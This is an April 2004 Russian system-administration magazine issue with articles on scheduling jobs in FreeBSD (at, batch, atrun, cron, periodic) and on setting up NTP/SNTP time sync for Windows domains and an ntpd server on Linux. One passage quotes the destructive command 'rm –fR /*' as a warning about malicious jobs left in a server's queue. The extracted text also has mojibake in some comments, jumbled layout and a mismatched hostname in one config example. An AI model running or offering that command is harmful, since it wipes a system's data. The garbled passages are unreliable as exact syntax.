По умолчанию команду at может выполнять только суперпользователь root. Чтобы дать такое право другим пользователям, их следует перечислить в файле /var/at/
№4(17), апрель 2004
!
! !
В результате через 2 минуты будет выполнена последовательность команд, перечисленных в файле myjobs. Команды в этом файле задаются по одной на каждой строке (так же, как и при вводе с клавиатуры). Результат также будет направлен по электронной почте. -m – заставляет отсылать письмо о выполнении задания пользователю (без этой опции письмо отсылается только в том случае, если результат выполнения задания отправляется на стандартный вывод). -q queue – позволяет поместить задание в указанную очередь, которая может быть задана одной буквой латинского алфавита (a-z, A-Z). По умолчанию задание помещается в очередь «c» для at и в «E» для batch (см. далее). Помимо удобства работы с большим числом отложенных заданий, различные очереди позволяют управлять приоритетом (nice) их выполнения – чем дальше буква, соответствующая очереди, находится от начала алфавита, тем большее значение nice, то есть меньший приоритет, получат задачи, стоящие в этой очереди. Очереди, обозначенные буквами верхнего регистра, будут отрабатываться только в том случае, если загрузка системы позволяет это сделать (см. далее описание ключа –b (batch)), и после того, как будут запущены задания из очередей, обозначенных строчными буквами. -l [-q queue] – выводит список заданий, находящихся в очереди. Можно использовать также псевдоним atq, выполняющий те же функции. Если команду atq выполняет суперпользователь, то выводятся все задания, находящиеся в очереди. Иначе – только задания, принадлежащие текущему пользователю. -r job – удаляет указанное задание из очереди. Эта команда также может быть вызвана с использованием псевдонима: atrm. -b – выполняет задание, если средняя загрузка системы (посмотреть ее можно с помощью команды w или top, параметр load average) не превышает указанное значение (по умолчанию 1.5; как его изменить – смотрите далее в описании команды atrun). Batch – псевдоним для вызова at с данным ключом: # batch –f myjobs +2 minutes
11
администрирование Команда аналогична примеру, приведенному выше для опции -f, но задание будет выполнено, когда средняя загрузка системы (load average) будет ниже 1.5. Так, если это условие будет истинно через 2 минуты, то задание выполнится в указанное время. Иначе оно будет откладываться, пока загрузка не снизится до требуемого значения. С остальными параметрами можно ознакомиться на страницах справочного руководства «man at». Для чего может понадобиться отложенное выполнение команд? Например, можно поставить на ночь (когда нагрузка меньше, а трафик дешевле) закачку большого файла: # echo ‘fetch ftp://ftp.ru/pub/bigfile.avi’ | at 0200
Здесь мы просто направляем на стандартный ввод программы at строку «fetch ftp://ftp.ru/pub/bigfile.avi»; данная команда будет запущена в 2:00. Далее, пусть с 1 января вступают в силу новые тарифы на услуги, оказываемые вашей компанией, и вы хотите, чтобы информация о них на вашем сайте всегда была актуальна (пусть она находится в файле /usr/local/www/ data/tariffs.html). Чтобы не встречать Новый год наедине с сервером, создайте файл tariffs.html с новой информацией и разместите его, скажем, в /home/myhome/temp. Теперь задача обновления ровно в полночь будет решаться так: # at midnight Jan 01 cp /home/myhome/temp/tariffs.html /usr/local/www/data/ ^D
Можно запустить сборку системы из исходных текстов, когда нагрузка на систему будет меньше 1.5 (процесс этот ресурсоемкий, но не срочный): # batch cd /usr/src // ìû æå íå õîòèì ïîëó÷èòü âñå ýòî ïî ïî÷òå? make buildworld > buildword.log ^D
В предыдущем примере стандартный вывод будет перенаправлен в log-файл, а сообщения об ошибках поступят на электронный адрес пользователя, запустившего команду. В общем, полезных примеров можно привести массу. Еще небольшой совет – вступая во владение новым сервером, проверьте, какие команды у него в очереди. А то вдруг предыдущий администратор, уволенный за неумеренное потребление спиртного, оставил вам «сюрприз» в виде «rm –fR /*», запланированный на запуск через пару месяцев? Теперь несколько подробнее рассмотрим механизм, обеспечивающий работу команды at. Когда с ее помощью формируется отложенное задание, в папке /var/at/jobs создается файл сценария, содержащий переменные окружения (какими они были на момент формирования задания; при выполнении задания эти переменные будут восстановлены) и собственно команды, которые должны быть
12
выполнены. Периодически (по умолчанию – каждые 5 минут) запускается процесс atrun, выполняющий все задания, срок выполнения которых истек. Таким образом, говоря ранее, что «задание будет выполнено через 2 минуты», я был не совсем точен. На самом деле задания выполняются с точностью в 5 минут (как это можно изменить – читайте ниже). Процесс atrun может быть выполнен с двумя ключами: # atrun [-l average] [-d]
Ключ –l задает максимальное значение средней загрузки системы, при котором могут быть выполнены задания, сформированные командой at –b (batch). Нужно заметить, что если в очереди имеется несколько batchзаданий, то при снижении загрузки до допустимого уровня будет запущено только одно (имеющее более раннее время исполнения). Последующие будут запускаться на выполнение также по одному при каждом следующем вызове atrun, если средняя загрузка системы все еще будет позволять сделать это. По умолчанию значение average равно 1.5. Ключ –d включает режим отладки (все сообщения об ошибках поступают на стандартный вывод, а не в системные файлы протоколов через механизм syslog). После выполнения задания с соответствующего файла сценария снимается признак исполнимости (x), а при следующем вызове процесса atrun он удаляется из /var/ at/jobs. Просмотреть выполненные, но еще не удаленные задания с указанием времени, когда они были выполнены, позволяет команда atq –v (для at с ключом –l ключ –v игнорируется). Периодический запуск процесса atrun обеспечивается другим механизмом UNIX-систем – cron. О нем и пойдет речь далее. Демон cron запускается автоматически при старте системы (конкретно – сценарием /etc/rc.d/cron) и каждую минуту проверяет файлы расписаний пользователей и системный файл расписаний /etc/crontab на предмет наличия заданий, которые должны быть выполнены в данную минуту. По умолчанию каждый пользователь может иметь свой файл расписаний. Изменить это можно с помощью файлов /var/cron/allow и /var/cron/deny (так же, как и для команды at: если файл allow существует, то использование cron будет разрешено только пользователям, перечисленным в нем). Файлы расписаний располагаются в /var/cron/ tabs с именами, соответствующими имени пользователя. Для управления ими следует использовать утилиту crontab, синтаксис которой представлен ниже: crontab [-u user] (-l | -r | -e)
Опция –u позволяет работать с файлом расписаний указанного пользователя user, а не текущего, как это происходит без данной опции. Если вы работаете через su, лучше всегда использовать этот ключ, чтобы избежать разночтений. Ключ –l позволяет вывести на экран пользовательский файл расписаний, -r – удалить его, -e – редак-
администрирование тировать. Для редактирования вызывается редактор, указанный в переменной окружения EDITOR или VISUAL. Формат строки задания в пользовательском файле следующий: Min Hour
Day
Month
WDay
Command
То есть через пробельные символы (пробелы и символы табуляции) указываются минута, час, день, месяц, день недели, когда должна быть выполнена команда, указанная в шестом поле. Допускаются перечисления (через запятую: 1,3,5), интервалы (через дефис: 1-5), шаг (после символа «/»: 1-9/2 означает «1,3,5,7,9», то есть каждое второе значение из указанного диапазона). Звездочка «*» означает все допустимые значения. Для месяца и дня недели можно использовать их сокращенные английские названия (первые три буквы), например: Feb, JUN, tue, Fri (регистр значения не имеет). Диапазоны и перечисления для имен недопустимы, то есть по имени можно обозначить только один месяц или день недели. Для числового обозначения дней недели допустимыми являются числа 0–7, где как 0, так и 7 обозначают воскресенье. Несколько примеров: # Çàïóñêàòü ïðîãðàììó êàæäûé âòîðíèê â 12:00 0 12 * * 2 /usr/home/admin/checkmail # Âûïîëíÿòü çàäàíèå ÷åðåç äåíü â ÿíâàðå, ìàðòå è ñ ñåíòÿáðÿ # ïî äåêàáðü 0 0 */2 1,3,9-12 * /usr/local/test/test # Çàïóñêàòü ñêðèïò 1-ãî è 15-ãî ÷èñëà êàæäîãî ìåñÿöà â 2:05, # à òàêæå ïî âîñêðåñåíüÿì (Day è WDay ðàáîòàþò â ðåæèìå «ÈËÈ») 5 2 1,15 * Sun /home/script
Демон cron при каждой активизации проверяет дату изменения файла /etc/crontab и директории /var/cron/tabs. Если они изменились, то он перечитывает все изменения и учитывает их при последующих вызовах. Поскольку утилита crontab после редактирования файла заданий меняет дату изменения для папки /var/cron/tabs, то после того, как в пользовательский файл расписаний будут внесены изменения, нет нужды в перезапуске процесса cron – эти изменения будут учтены при следующей активизации. Именно по этой причине для редактирования пользовательских файлов расписаний следует использовать команду crontab –e, а не редактировать файлы непосредственно. Для файла /etc/crontab дата изменения проверяется отдельно, поэтому его можно изменять обычным редактором (естественно, для этого нужны права root). Формат файла crontab также допускает вместо первых пяти позиций, означающих время выполнения задания, использовать предопределенные значения: ! @reboot (выполнять при загрузке операционной системы); ! @yearly (выполнять ежегодно в полночь 1 января); ! @monthly (выполнять ежемесячно в полночь 1 числа); ! @weekly (выполнять в полночь каждый понедельник); ! @daily (выполнять ежедневно в 0:00); ! @hourly (выполнять в начале каждого часа). Например:
№4(17), апрель 2004
# Âûïîëíÿòü 1-ãî ÷èñëà êàæäîãî ìåñÿöà â 0:00 @monthly /usr/local/billing/close_month.pl
Помимо собственно заданий, файл crontab может содержать строки, задающие системные переменные, с которыми задания будут отрабатываться. Так, можно задать оболочку, в которой будут исполняться сценарии (переменная SHELL, по умолчанию это sh), переменную PATH. Если нужно, чтобы выводимая выполняемыми командами информация пересылалась на почтовый ящик не владельца файла расписаний (как это происходит по умолчанию), а на другого пользователя, для этого можно использовать переменную MAILTO. Пустое значение (MAILTO=») приведет к тому, что сообщения будут перенаправляться в /dev/null. Формат системного файла /etc/crontab несколько отличается от пользовательского: на шестой позиции указывается имя пользователя, с правами которого должна запускаться команда (и опционально – группа, отделенная от имени пользователя двоеточием, например, «root:wheel»), а сама команда отодвигается на седьмую. Например, вызов atrun задан в этом файле такой строкой: */5 *
*
*
*
root
/usr/libexec/atrun
Из этой записи видно, что процесс atrun, обеспечивающий отработку заданий, сформированных командой at, будет запускаться каждые 5 минут. При необходимости повысить точность отработки заданий по at, следует соответствующим образом изменить приведенную выше строку. С использованием механизма cron выполняется и такая важная задача, как ротация log-файлов (см. строку, отвечающую за запуск newsyslog). По умолчанию процесс newsyslog запускается каждый час и проводит ротацию (архивирование и перезапись) log-файлов в соответствии с настройками в /etc/newsyslog.conf. На загруженных системах с подробным протоколированием ротация может понадобиться чаще, чем раз в час, для чего следует изменить соответствующую строку в /etc/crontab. С механизмом cron связана еще одна полезная вещь – автоматическое обслуживание системы, обеспечиваемое с помощью periodic-сценариев. В системном crontab можно заметить следующие три строки: 1 3 15 4 30 5
* * 1
* * *
* 6 *
root root root
periodic daily periodic weekly periodic monthly
Утилита periodic исполняет все сценарии, расположенные в папке, соответствующей параметру, переданному ей при вызове. Эта папка ищется в каталоге /etc/periodic. Например, запуск periodic daily приведет к выполнению всех скриптов, расположенных в /etc/periodic/daily. Также существует возможность создавать свои периоды обслуживания, для чего должна быть создана новая директория в /etc/periodic, в которую помещаются необходимые скрипты, и добавлена соответствующая строка запуска в crontab. Настроить обслуживание системы под собственные нужды можно в файле /etc/periodic.conf (по умолчанию отсутствует). Настройки по умолчанию заданы в /etc/
13
администрирование defaults/periodic.conf. Как видно, эти сценарии выполняют очистку временных файлов, резервное копирование жизненно важной информации, формируют отчеты о состоянии системы и т. д. Основная работа приходится на ежедневное обслуживание (daily). Можно заметить, что в папке /etc/periodic присутствует поддиректория security, хотя в crontab вызова для нее нет. Если поискать внимательно, то команду вызова «periodic security» можно найти в файле /etc/periodic/daily/450.status.security, то есть сбор сведений о состоянии безопасности выполняется в ходе ежедневного обслуживания, но для удобства вынесен в отдельную поддиректорию, и по этой же причине отчет высылается отдельным письмом. Поскольку порядок исполнения сценариев определяется в результате сортировки их имен, для формирования нужной последовательности исполнения служит трехзначное число, предваряющее имя почти каждого файла. В директориях daily, weekly и monthly можно заметить сценарии 999.local. Они позволяют запускать так называемые локальные periodic-сценарии, которые перечисляются в файлах /etc/daily.local, /etc/weekly.local и /etc/ monthly.local соответственно. Использование локальных сценариев для собственных нужд более предпочтительно, чем добавление скриптов в /etc/periodic, поскольку позволяет четко разделить системные и пользовательские сценарии и тем самым упростить сопровождение и обновление системы. Как и для остальных команд, выполняемых по cron, весь стандартный вывод будет перенаправлен на электронный адрес пользователя – владельца таблицы crontab или указанного в переменной MAILTO. Придумывать полезные примеры для cron труда не составляет. Приведу два первых, пришедших в голову. Предположим, нам нужно контролировать состояние сети. Для этого достаточно занести в ваш пользовательский файл расписаний (системный файл лучше использовать исключительно по системному назначению) строку: 0 * * * * /sbin/ping –ñ10 my.provider.ru | ↵ /usr/bin/grep ‘avg’ >> /var/log/ping.log
Как это будет работать? В начале каждого часа будет
14
выполняться команда ping, посылающая десять пакетов на адрес вашего провайдера. Из возвращаемой информации будет выбрана последняя строка с результатами, которая будет записана в файл ping.log для последующего анализа таких величин, как среднее время передачи пакета, величина девиации и т. д. Причем в файл будут заноситься только результаты успешного пинга, а все ошибки (типа «Host is down») будут отправляться по электронной почте владельцу файла расписаний. Следующая строка позволит вам автоматически корректировать ваши (точнее, системные) часы с использованием сервера точного времени: 12 4
*
*
*
/usr/sbin/ntpdate ntp.alaska.edu
Естественно, вы можете использовать для получения информации о точном времени тот сервер, который Вам больше нравится (список серверов можно получить, если на любом поисковике подать запрос «Public ntp server»). Еще несколько слов о путях к вызываемым программам. Для сервиса at переменная PATH и каталог, в котором задание будет выполняться, соответствуют тем значениям, которые были на момент формирования задания. То есть если я запускаю at, находясь в директории /etc, то и задание будет выполняться так, как будто оно было запущено из этой же директории, и соответственно все относительные пути, имеющиеся в запускаемом сценарии, будут разрешаться относительно этого каталога. Cron ведет себя несколько иначе – он запускает задания из домашнего каталога пользователя, а в качестве переменной PATH использует то значение, которое задано в файле расписаний (см. crontab –l) в переменной PATH. По умолчанию PATH=/usr/bin:/bin. Проверить это достаточно просто – сформируйте задание с командами pwd и echo $PATH, и Вы получите письмо со значениями этих параметров на момент выполнения задания. На этом знакомство со службами выполнения заданий по расписанию можно завершить. Как обычно, дополнительную информацию можно получить на страницах справочного руководства man: at(1), atrun(8), cron(8), crontab(1), crontab(5), periodic(8), periodic.conf(5).
администрирование
NTP – АТОМНЫЕ ЧАСЫ НА КАЖДОМ СТОЛЕ
Каждый из нас, работая за компьютером, иногда смотрит на часы. При этом кто-то поглядывает на стену, кто-то на руку, а кто-то бросает беглый взгляд в угол экрана монитора. Конечно, часы могут быть разными, главное – чтобы они шли точно. И если для обычных часов их точность во многом определяется фирмой-производителем, то практически для любых «компьютерных» высокая точность может быть достигнута благодаря синхронизации времени, например, с помощью протокола NTP (Network Time Protocol), об использовании которого и пойдет речь в данной статье.
МИХАИЛ ПЛАТОВ Зачем нужно точное время? А кому вообще нужно это точное время? Конечно, оно нужно нам, пользователям, для того, чтобы мы меньше опаздывали. Представим себе современный аэропорт – для его работы сотни пилотов и диспетчеров должны пользоваться безошибочно идущими часами. Система регистрации товаров на складах, больничные учреждения, кассы по продаже железнодорожных билетов и многие другие учреждения требуют, чтобы время на всех объектах системы в той или иной степени было одинаково. Тем более компьютеры. На них работает масса служб и программ, для нормальной работы которых необходимо точное время, причем, как правило, более точное, чем это обычно нужно нам, людям. Системные службы, компоненты системы безопасности, да и просто прикладные программы могут быть очень критичны к точности часов. Наиболее ярким примером таких служб является протокол
16
аутентификации Kerberos. Так, для его работы необходимо, чтобы на компьютерах, доступ к которым осуществляется с использованием этого протокола, системное время различалось не более чем на 5 минут. Кроме того, точное время на всех компьютерах значительно облегчает анализ журналов безопасности при расследовании инцидентов в локальной сети.
Протокол NTP NTP (Network Time Protocol) – это протокол, предназначенный для синхронизации времени в сети. Он представляет собой набор достаточно сложных алгоритмов, призванных обеспечить высокую точность (до нескольких микросекунд) и отказоустойчивость системы синхронизации времени. Так, протокол предполагает одновременную синхронизацию с несколькими серверами. Существует несколько версий этого протокола, имею-
администрирование щих некоторые отличия. Третья версия этого протокола в 1992 году была стандартизирована как RFC 1305. Четвертая (последняя на данный момент) версия привносит некоторые улучшения (автоматическая конфигурация и аутентификация, улучшение алгоритмов синхронизации) по сравнению с третьей, однако она еще не стандартизована в RFC. Кроме того, помимо протокола NTP, существует протокол SNTP (Simple Network Time Protocol). На уровне пакетов эти два протокола полностью совместимы. Основным отличием между ними является то, что SNTP не имеет сложных систем фильтрации и многоступенчатой корректировки ошибок, имеющихся в NTP. Таким образом, SNTP является упрощенной и более легкой в реализации версией NTP. Он предназначен для использования в тех сетях, где не требуется очень высокая точность времени, и в реализации от корпорации Microsoft обеспечивает точность в пределах 20 секунд в рамках предприятия и не более 2 секунд в пределах одного сайта. Протокол SNTP стандартизован как RFC 1769 (версия 3) и RFC 2030 (версия 4). Модель синхронизации NTP предполагает иерархическую структуру. На первом уровне иерархии располагаются так называемые «первичные» серверы времени (First stratum). Они находятся в разных местах по всему миру и располагают самым точным временем. Таких серверов относительно немного, так как точное время на них поддерживается с помощью дорогостоящего специализированного оборудования (радиоканал, спутниковый канал). Серверы второго уровня (Second stratum) синхронизируются с серверами первого уровня, используя протокол NTP. Их уже значительно больше, однако они уже несколько рассинхронизированы (от 1 до 20 миллисекунд) относительно «первичных» серверов. Далее могут идти серверы третьего, четвертого и последующих уровней:
С переходом на каждый уровень немного возрастает погрешность относительно первичного сервера, но зато увеличивается общее число серверов и, следовательно, уменьшается их загрузка. Поэтому в качестве внешнего источника синхронизации вместо использования первичных серверов, обладающих наиболее точным временем, рекомендуется использовать вторичные серверы как менее загруженные.
№4(17), апрель 2004
NTP и Windows Для синхронизации времени в ОС Windows 2000/XP/2003 используется протокол SNTP. Поддержка этого протокола реализована в виде системной службы Windows Time, входящей в состав операционной системы MS Windows 2000/XP/2003. Отличительной особенностью этой реализации является то, что служба Windows Time поддерживает доменную аутентификацию при обращении к эталонному серверу времени, что является немаловажным с точки зрения безопасности. Существует несколько вариантов работы службы SNTP, входящей в Windows: ! Иерархическая (NT5DS). Используется по умолчанию для всех компьютеров, объединенных в домен. Синхронизация времени на рабочих станциях и серверах домена производится по иерархии. Таким образом, рабочие станции и рядовые серверы синхронизируются с контроллером домена, аутентифицировавшим вход, контроллеры домена – с хозяином операции «эмулятор PDC», который в свою очередь синхронизируется с контроллером домена, стоящим на более высоком уровне иерархии. Следует заметить, что данный порядок синхронизации используется «по умолчанию» и может быть переопределен вручную или с использованием групповых политик. О том, как это сделать, будет рассказано ниже. ! Принудительная синхронизация с выбранным NTP-сервером (NTP). В данном случае источник эталонного времени для службы Windows Time устанавливается либо вручную, либо с помощью групповых политик. ! Отключение синхронизации (NoSync). Этот режим необходим для смешанной схемы поддержания времени, в которой для синхронизации с внешним источником используется продукт третьей фирмы, а для поддержания времени в рамках домена используется Windows Time. Таким образом, в случае рабочей группы синхронизацию времени всё равно придется настраивать вручную. Например, один из компьютеров можно настроить на синхронизацию с внешним сервером по протоколу SNTP, а остальные – на синхронизацию с ним. Необходимые для этого действия будут описаны ниже. Для домена рекомендуется использовать иерархическую синхронизацию по протоколу SNTP. В большинстве случаев она обеспечивает приемлемую точность системного времени в рамках леса домена. Кроме того, она автоматически обеспечивает безопасность обновления времени, благодаря поддержке аутентификации с Active Directory. Для поддержки «правильного» времени в домене необходимо синхронизировать контроллер домена верхнего уровня, владеющий ролью «эмулятор PDC», с внешним NTPсервером. В нашем примере в роли такого сервера будет выступать Linux-машина с работающим демоном ntpd.
Настройка SNTP в Windows Для настройки службы Windows Time используются две утилиты: ! Net time ! W32tm
17
администрирование Net time используется главным образом для конфигурирования службы времени, а w32tm – для мониторинга и диагностики работы. Однако в Windows XP/2003 утилита w32tm претерпела существенные изменения и может быть использована для конфигурации службы времени. Настройка NTP далее будет проводиться на примере Windows XP/2003. Итак, для того чтобы «вручную» указать источник синхронизации с помощью net time, достаточно написать в командной строке: net time /setsntp:ñïèñîê_ñåðâåðîâ_âðåìåíè_÷åðåç_ïðîáåë
Для получения информации о текущем сервере времени: net time /querysntp
Узнать время на контроллере домена можно так: net time /domain:èìÿ_äîìåíà
А синхронизировать время с контроллером домена вот так: net time /domain:èìÿ_äîìåíà /set
Системной утилитой w32tm можно сделать все то же самое и даже больше: ! w32tm /resync – при помощи этой команды можно заставить локальный или удаленный компьютер синхронизировать показания своих системных часов с используемым им сервером времени. ! w32tm /config – эта команда используется для конфигурирования службы Windows Time. С ее помощью можно задать список используемых серверов времени и тип синхронизации (иерархическая или выбранная серверами). Например, для того чтобы переопределить значения по умолчанию и настроить синхронизацию времени с внешним источником, можно воспользоваться командой: w32tm /config /syncfromflags:manual /manualpeerlist:PeerList
А для того чтобы Windows Time применила новые настройки, вместо перезапуска службы можно использовать команду: w32tm /config /update
Кроме того, в w32tm доступны следующие параметры, связанные с мониторингом времени на компьютерах: ! w32tm /monitor – при помощи этой опции можно узнать, насколько системное время данного компьютера отличается от времени на контроллере домена или других компьютерах. ! w32tm /stripchart – графически показывает разницу во времени между текущим и удаленным компьютером.
18
! w32tm /register – регистрирует службу Windows Time в качестве службы на данном компьютере. Эта опция может быть полезна на компьютерах, не входящих в домен, так как по умолчанию на них служба времени остановлена. Более подробные сведения о параметрах утилит net time и w32tm можно получить, используя ключ /? или открыв соответствующий раздел справочной системы «Help and Support Center» MS Windows XP/2003. Нетрудно догадаться, что настройки службы Windows Time хранятся в реестре Windows в разделе HKEY_LOCAL_ MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\. В корне раздела определяются параметры работы самой службы, в подключе Config – настройки, связанные с работой самого протокола SNTP, режим синхронизации определяется в подключе Parameters. Настройки SNTP клиента и сервера находятся в подключах TimeProviders\NtpClient и TimeProviders\NtpServer соответственно. Рассмотрим основные значения, определяющие настройку NTP клиента и сервера: ! Type – определяет режим работы NTP-клиента (NTDS5 – иерархическая, NTP – «вручную», NoSync – не синхронизировать, AllSync – доступны все типы синхронизации); ! Enabled – определяет, включен ли данный компонент (клиент или сервер); ! CrossSiteSyncFlags – определяет, можно ли синхронизировать время с источником, находящимся за пределами домена, в случае если используется иерархическая синхронизация (0 – нельзя, 1 – только с эмулятором PDC, 2 – со всеми); ! EventLogFlags – определяет, будут ли сообщения от Windows Time заноситься в журнал или нет (очень полезная функция при отладке работы). Объяснение значений, определяемых в ключе реестра для службы Windows Time можно найти на сайте Microsoft по адресу: http://www.microsoft.com/technet/ treeview/default.asp?url=/technet/prodtechnol/winxppro/ maintain/xpmanaged/27_xpwts.asp. Документация по протоколу NTP расположена на сайте: http://www.ntp.org. Другой вариант настройки службы времени Windows Time – использование групповых политик. Настройки определяются в объекте групповой политики по следующему адресу: Computer Configuration → Administrative Templates → System → Windows Time Service Если у вас установлен Windows 2000 Server и такой настройки вы не нашли – не отчаивайтесь, вам просто нужно обновить «Административные шаблоны». Для этого скопируйте из системной папки system32\GroupPolicy\Adm любой машины с установленной Windows XP все .adm-файлы на сервер, являющийся контроллером домена. Далее, определяя объект групповой политики, нажмите правой кнопкой на «Administrative templates» и выберите «Add/Remove templates…» Удалите перечисленные там шаблоны и добавьте скопированные. После нажатия кнопки «OK» шаблоны будут обновлены, и вы сможете сконфигурировать службу времени, используя групповые политики:
администрирование
Нетрудно заметить, что здесь главным образом перечислены все те настройки, которые можно изменять в реестре. Ничего удивительного в этом нет, ведь именно так и работает большинство групповых политик. В ОС Windows XP появился еще один способ задания сервера времени, который может быть очень удобен для настройки синхронизации на домашнем компьютере или компьютере, входящем в рабочую группу:
NTP-сервер под Linux – внешняя синхронизация для Windows-домена Как было сказано выше, протокол NTP более устойчив к ошибкам, поэтому в качестве источника эталонного вре-
№4(17), апрель 2004
мени для внешней синхронизации лучше использовать NTP-сервер. К тому же не всегда у контроллера домена верхнего уровня есть доступ к Интернету по порту UDP 123, используемого для работы NTP. Доступ вполне может быть закрыт по соображениям безопасности, что является обычной практикой крупных организаций. В таких случаях для решения этой проблемы можно установить в демилитаризированной зоне – DMZ – свой сервер времени, настроенный на синхронизацию с внешним источником, и использовать его в качестве эталонного источника времени для синхронизации контроллера домена верхнего уровня. В качестве такого компьютера вполне подойдет любая, не обязательно современная машина с *nix-подобной ОС, например, Linux, установленной в минимальной конфигурации, без X-сервера и других потенциально уязвимых вещей. Существует масса программ для синхронизации времени для ОС Linux. Наиболее известными являются Xntpd (NTP версия 3), ntpd (NTP версия 4), Crony и ClockSpeed. В нашем примере мы будем использовать ntp-сервер ntpd, входящий в состав Redhat 9, поставляемый в пакете ntp4.1.2-0.rc1.2.i386.rpm. В состав пакета входит несколько программ, предназначенных для работы с NTP. Вот основные из них: ! Ntpd – демон ntp, поддерживающий точное время в фоновом режиме; ! Ntpq – утилита, предназначенная для опроса NTP-серверов, поддерживающих стандартный протокол опроса NTP mode 6. С ее помощью можно узнать и изменить текущее состояние сервера, если его настройки это позволяют; ! Ntptdc – утилита, при помощи которой можно опрашивать демон ntpd и получать статистику его работы; ! Ntpdate – программа для установки текущего системного времени с использованием протокола NTP. Стандартной возможностью протокола NTP является возможность проведения аутентификации. При этом могут использоваться как симметричные алгоритмы (DES), появившиеся еще во второй версии протокола, так и несимметричные алгоритмы, с открытым ключом, являющиеся новшеством четвертой версии. В случае использования симметричной схемы аутентификации клиент и сервер выбирают произвольный идентификатор и один из 65534 ключей, определенных стандартом. При использовании несимметричных алгоритмов, используется так называемая схема Autokey, отличительной особенностью которой является отсутствие необходимости предварительно распределять открытые ключи серверов. Для настройки аутентификации в ntpd существуют утилиты ntp-genkeys, ntpq и ntpdc. Вся функциональность NTP, связанная с поддержкой точного времени реализована в демоне ntpd. Его настройка производится обычным для unix способом – путем редактирования конфигурационного файла ntp.conf, находящегося в папке /etc. Зададим следующие опции для работы NTP-сервера.
19
администрирование Сначала укажем серверы, с которыми будет производиться синхронизация времени:
запуск ntpd не настроен. Чтобы это исправить, наберите: [root@nix tmp]# chkconfig –level 035 ntpd on
server ntp.nasa.gov server ntp1.demos.net
# A stratum 1 server at nasa.org # A stratum 2 server at demos.net
Далее мы ограничим доступ к нашему серверу, так как мы не хотим, чтобы другие серверы могли сами менять наше время: restrict ntp.research.gov mask 255.255.255.255 ↵ nomodify notrap noquery
Здесь маска 255.255.255.255 используется для ограничения доступа к нашему серверу со стороны сервера ntp.nasa.gov. Теперь определим список узлов в нашей локальной сети, которым мы хотим разрешить доступ к нашему NTPсерверу для получения времени:
Для управления NTP (старт, запуск, перезапуск, статус) используются стандартный инициализационный скрипт: [root@nix]# /etc/init.d/ntpd start
Для просмотра статистики синхронизации сервера можно воспользоваться следующей командой: [root@nix]# ntpq -p
restrict 192.168.1.0 mask 255.255.255.0 notrust nomodify notrap
Также нам требуется, чтобы Linux-машина имела полный доступ к ресурсам своего сервера: restrict 127.0.0.1
И теперь самое важное: мы должны убедиться в том, что запрет по умолчанию, имеющий более высокий приоритет, закомментирован: #restrict default ignore
После сохранения файла ntp.conf настройку можно считать оконченной, однако может так получиться, что после запуска демона время все еще не будет синхронизироваться. Дело в том, что протокол NTP изначально разрабатывался как протокол поддержания времени, а не его установки. Поэтому, если разница между показаниями часов достаточно велика (более чем несколько минут), то синхронизация производиться не будет. В этом случае имеет смысл первоначально установить время вручную при помощи команды ntpdate (также можно добавить команду ntpdate в стартовые скрипты машины): [root@nix]# ntpdate navobs1.wustl.e [root@nix]# ntpdate navobs1.wustl.e [root@nix]# ntpdate navobs1.wustl.e
Запуск ntp-демона производится через инициализационные скрипты. Если программа устанавливалась из rpmпакета, то скорее всего все вопросы, связанные с ее автоматическим запуском, уже решены. Для того чтобы в этом убедиться, можно воспользоваться командой: [root@nix tmp]# chkconfig –list ntpd
Если вы не видите этой строки, значит, автоматический
20
Режимы работы NTP сервера/клиента Клиент/сервер Этот режим на сегодняшний день наиболее часто используется в сети Интернет. Схема работы – классическая. Клиент посылает запрос, на который в течение некоторого времени сервер присылает ответ. Настройка клиента производится с помощью директивы server в конфигурационном файле, где указывается DNS имя сервера времени.
Симметричный активный/пассивный режим Этот режим используется в том случае, если производится синхронизация времени между большим количеством равноправных машин. Помимо того, что каждая машина синхронизируется с внешним источником, она также осуществляет синхронизацию со своими соседями (peer), выступая для них в качестве клиента и сервера времени. Поэтому даже если машина «потеряет» внешний источник, она все еще сможет получить точное время от своих соседей. Соседи могут работать в двух режимах – активном и пассивном. Работая в активном режиме, машина сама передает свое время всем машинам-соседям, перечисленным в секции peers конфигурационного файла ntp.conf. Если же в этой секции соседи не указаны, то считается, что машина работает в пассивном режиме. Для того чтобы злоумышленник не смог скомпрометировать другие машины, представившись в качестве активного источника, необходимо использовать аутентификацию.
Режим Broadcast Этот режим рекомендуется использовать в тех случаях, когда малое количество серверов обслуживает большое количество клиентов. Работая в этом режиме, сервер периодически рассылает пакеты, используя широковещательный адрес подсети. Клиент, настроенный на синхронизацию таким способом, получает широковещательный пакет сервера и производит синхронизацию с сервером. Особенностью этого режима является то, что время дос-
администрирование тавляется в рамках одной подсети (ограничение broadcastпакетов). Кроме того, для защиты от злоумышленников необходимо использовать аутентификацию.
Режим Manycast
Данный режим во многом похож на broadcast. Отличие заключается в том, что для доставки пакетов используются multicast-адреса сетей класса D адресного пространства IP-адресов. Для клиентов и серверов задается адрес multicast-группы, которую они используют для синхронизации времени. Это делает возможным синхронизацию групп машин, расположенных в различных подсетях, при условии, что соединяющие их маршрутизаторы поддерживают протокол IGMP и настроены на передачу группового трафика.
Этот режим является нововведением четвертой версии протокола NTP. Он подразумевает поиск клиентом среди своих сетевых соседей manycast-серверов, получение от каждого из них образцов времени (с использованием криптографии) и выбор на основании этих данных трех «лучших» manycast-серверов, с которыми клиент будет производить синхронизацию. В случае выхода из строя одного из серверов клиент автоматически обновляет свой список. Для передачи образцов времени клиенты и серверы, работающие в manycast-режиме, используют адреса multicast-групп (сети класса D). Клиенты и серверы, использующие один и тот же адрес, формируют одну ассоциацию. Количество ассоциаций определяется количеством используемых multicast-адресов.
Часто возникающие вопросы
! Убедитесь, что время клиента и сервера отличается
Режим Multicast
Почему после команды net time /setsntp:server время не синхронизируется? ! Убедитесь, что для службы w32time задан тип запуска «Автоматически». ! Убедитесь, что порт UDP 123 используемого NTP-сервера доступен. ! Убедитесь, что время между клиентом и сервером не отличается слишком сильно.
не слишком сильно (не более 5 минут). В противном случае выполните принудительную синхронизацию при помощи ntpdate. Демон ntpd настроен, но при этом время, кажется, не синхронизируется. ! Возможно, проблема в том, что порт UDP 123 закрыт firewall. В этом случае информация, выводимая ntpq –p, будет примерно следующей:
